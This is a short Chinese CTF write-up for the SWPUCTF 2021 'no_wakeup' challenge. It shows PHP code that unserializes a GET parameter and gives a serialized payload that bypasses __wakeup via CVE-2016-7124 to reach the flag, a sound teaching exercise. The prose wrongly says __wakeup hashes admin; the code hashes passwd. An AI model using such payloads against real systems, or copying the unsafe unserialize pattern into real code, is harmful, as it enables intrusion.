php 反序列化漏洞

[SWPUCTF 2021 新生赛]no_wakeup

<?php

header("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source("class.php");

class HaHaHa{


        public $admin;
        public $passwd;

        public function __construct(){
            $this->admin ="user";
            $this->passwd = "123456";
        }

        public function __wakeup(){
            $this->passwd = sha1($this->passwd);
        }

        public function __destruct(){
            if($this->admin === "admin" && $this->passwd === "wllm"){
                include("flag.php");
                echo $flag;
            }else{
                echo $this->passwd;
                echo "No wake up";
            }
        }
    }

$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);

阅读代码,该程序从get请求中的获取一个参数p的值进行反序列化,故可在get中插入序列化后的结果进行反序列化漏洞的利用

由于_wakeup魔法函数中将admin的值进行sha1加密,故可尝试绕过_wakeup   //(CVE-2016-7124) 

版本：

​ PHP5 < 5.6.25

​ PHP7 < 7.0.10

 构造payload

O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}   //注意末尾也有分号